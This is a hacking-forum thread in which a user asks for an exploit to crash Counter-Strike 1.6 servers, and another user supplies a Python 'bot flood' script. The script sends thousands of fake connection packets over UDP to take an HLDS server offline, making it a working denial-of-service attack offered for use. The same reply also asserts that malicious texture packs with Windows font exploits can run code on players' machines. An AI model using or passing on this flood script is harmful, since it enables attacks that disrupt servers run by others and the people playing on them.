

Forum:[Hack Forums](#)

Thread: [Need exploit server crash counter strike 1.6](#)

j0ker2578 - August 12, 2026, 6:07 pm

Hi everyone. I need an exploit DoS that crashes modern cs 1.6 server. Before telling me it's "impossible" or "outdated" cut the bullshit,one man called "xeis" just crashed a server with one,when he connects with it it says in chat "00:02 bot connected. Buy a chair,rope,and lock this server:over 2 mil proxies to ban!!" it's some sort of his private exploit,as he's saying,and it works because game is full of "holes". (probably meaning security leaks). Anyone has anything working?

DramaKing - August 12, 2026, 6:22 pm

A private DoS exploit? That's neat, I guess.

fixthejinx - August 12, 2026, 9:55 pm

My theory is that he is using residential proxies to send a large amount of join requests. and also to bypass captchas, its how the mirai botnet owner first started

Somali - August 13, 2026, 5:39 am

(Aug 12, 2026 06:07 PM)j0ker2578 Wrote: [\[CITE\]](#) Hi everyone. I need an exploit DoS that crashes modern cs 1.6 server. Before telling me it's "impossible" or "outdated" cut the bullshit,one man called "xeis" just crashed a server with one,when he connects with it it says in chat "00:02 bot connected. Buy a chair,rope,and lock this server:over 2 mil proxies to ban!!" it's some sort of his private exploit,as he's saying,and it works because game is full of "holes". (probably meaning security leaks). Anyone has anything working?

Its called CS 1.6 HLDS bot flood.

Code import socket, time, re, random

TARGET = ("127.0.0.1", 27016)

COUNT = 3000

```
def connectionless(payload):  
    return b"\xff\xff\xff\xff" + payload
```

```
def get_challenge(sock):  
    """Ask server for a challenge number and parse the reply."""  
    sock.sendto(connectionless(b"getchallenge"), TARGET)  
    sock.settimeout(1.0)  
    try:  
        data, _ = sock.recvfrom(2048)  
        m = re.search(rb"challenge (\d+)", data[4:]) # skip 0xFFFFFFFF header  
        return m.group(1).decode() if m else None  
    except socket.timeout:  
        return None
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

```
ok, dropped = 0, 0
```

```

for i in range(COUNT):
    ch = get_challenge(sock)
    if ch is None:
        dropped += 1
        continue
    raw = "".join(random.choice("0123456789abcdef") for _ in range(32))
    name = f"bot{i:04d}"
    info = f"\\prot\\4\\unique\\0\\raw\\{raw}\\name\\{name}"
    connect = f'connect 48 {ch} "{info}"'.encode()
    sock.sendto(connectionless(connect), TARGET)
    ok += 1
    if i % 50 == 0:
        print(f'sent {i} fake connects (challenge OK: {ok}, no reply: {dropped})')
        time.sleep(0.01)

```

print(f'done — {ok} {dropped} . Server should be offline, if not try increase count to more or run on loop")

BTW yes 1.6 are super insecure so if u try visit some weird server u can get malware on your pc by texture packs.

They simply put dependency on texture pack u must download to play and cs 1.6 does it automatically and using .xml cve-2026 font glitch or any other older ones windows cves u can literally run anything on players if they are not paid users of windows.